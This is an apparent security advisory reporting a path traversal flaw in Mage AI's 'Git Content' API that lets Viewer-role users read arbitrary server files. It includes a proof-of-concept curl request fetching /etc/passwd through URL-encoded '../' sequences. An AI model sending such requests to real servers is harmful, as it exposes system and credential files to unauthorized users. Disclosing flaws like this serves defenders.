Mage AI git content request remote arbitrary file leak
mage-ai
(,)
Mage AI allows remote users with the "Viewer" role to leak arbitrary files from the Mage server due to a path traversal in the "Git Content" request
curl -X GET
'http://localhost:6789/api/git_file/..%2F..%2Fetc%2Fpasswd?api_key=<USER API KEY>' -H 'Authorization: Bearer
<USER TOKEN>'
No mitigations are supplied for this issue
No references are supplied for this issue